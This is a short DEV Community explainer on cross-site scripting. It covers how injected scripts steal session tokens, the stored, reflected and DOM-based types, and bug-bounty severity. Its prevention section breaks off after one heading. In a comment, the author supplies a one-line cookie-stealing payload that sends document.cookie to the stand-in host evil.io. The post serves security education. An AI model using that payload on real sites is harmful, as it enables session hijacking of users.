DEV Community

CAISD
CAISD

Posted on

XSS Attack Visualized — How Hackers Steal Sessions Without Your Password | CAISD


canonical_url: https://medium.com/@mahone0094/hackers-dont-need-your-password-anymore-they-just-need-one-unsanitized-input-7e8c87471070

By Bamdad Shahabi | CAISD — Cyber Intelligence & Digital Forensics
youtube.com/@CAISD_Official


XSS has been in OWASP Top 10 for 20+ years.
Nobody handled it.

What is XSS?

XSS (Cross-Site Scripting) allows attackers
to inject malicious scripts into trusted websites.
The browser executes them because they appear
to come from a legitimate source.

How does XSS steal your session?

A user logs into their bank.
An attacker already stored this as a "comment":

Server stored it. No sanitization. No filtering.
Browser loads page — runs the script.
Session token flies to evil.io.
No password touched. Just trust abused.

The 3 types of XSS

① Stored XSS — payload in database,
hits every user. P1 severity in bug bounty.

② Reflected XSS — bounces from URL,
needs a click. P2 severity.

③ DOM-based XSS — client-side only.
Server never sees it. WAFs are blind to it.

Bug Bounty severity

Type Severity
Stored XSS authenticated endpoint P1
Session hijack via document.cookie P1
Reflected XSS on login page P2
DOM XSS bypassing WAF P2

How to prevent XSS

✅ Content-Security-Policy:

Top comments (1)

Collapse
 
caisd profile image
CAISD

new Image().src='//evil.io?d='+document.cookie